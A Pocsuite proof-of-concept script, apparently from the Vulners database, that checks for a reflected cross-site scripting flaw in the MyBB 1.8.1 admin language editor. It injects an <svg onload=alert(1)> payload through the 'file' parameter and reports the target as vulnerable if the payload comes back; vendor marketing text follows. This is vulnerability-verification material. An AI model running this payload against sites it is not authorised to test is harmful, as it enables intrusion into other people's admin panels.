#!/usr/bin/env python
# coding: utf-8
import re
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
# This poc requires a valid credential(cookie) to the ACP(Admin Control Panel) to work.
class TestPOC(POCBase):
vulID = '1671' # vul ID
version = '1'
author = ['王畅']
vulDate = '2014-11-13'
createDate = '2014-12-10'
updateDate = '2014-12-10'
references = ['http://www.exploit-db.com/exploits/35224/']
name = 'MyBB 1.8.1 /admin/modules/config/language.php 跨站脚本漏洞 POC'
appPowerLink = 'http://www.mybb.com/'
appName = 'MyBB'
appVersion = '1.8.1'
vulType = 'Cross Site Scripting'
desc = '''
MyBB 1.8.1 /admin/modules/config/language.php 因过滤不严导致跨站脚本漏洞
'''
# the sample sites for examine
samples = ['']
def _verify(self):
result = {}
target_url = '/admin/index.php?module=config-languages&action=edit&lang=english&' \
'editwith=&file=%3Csvg%20onload=alert(1)%3E'
response = req.get(self.url + target_url, headers=self.headers, timeout=10)
content = response.content
match = re.search('<svg onload=alert\(1\)>', content)
if match:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url + target_url
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet Nothing returned')
return output
register(TestPOC)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation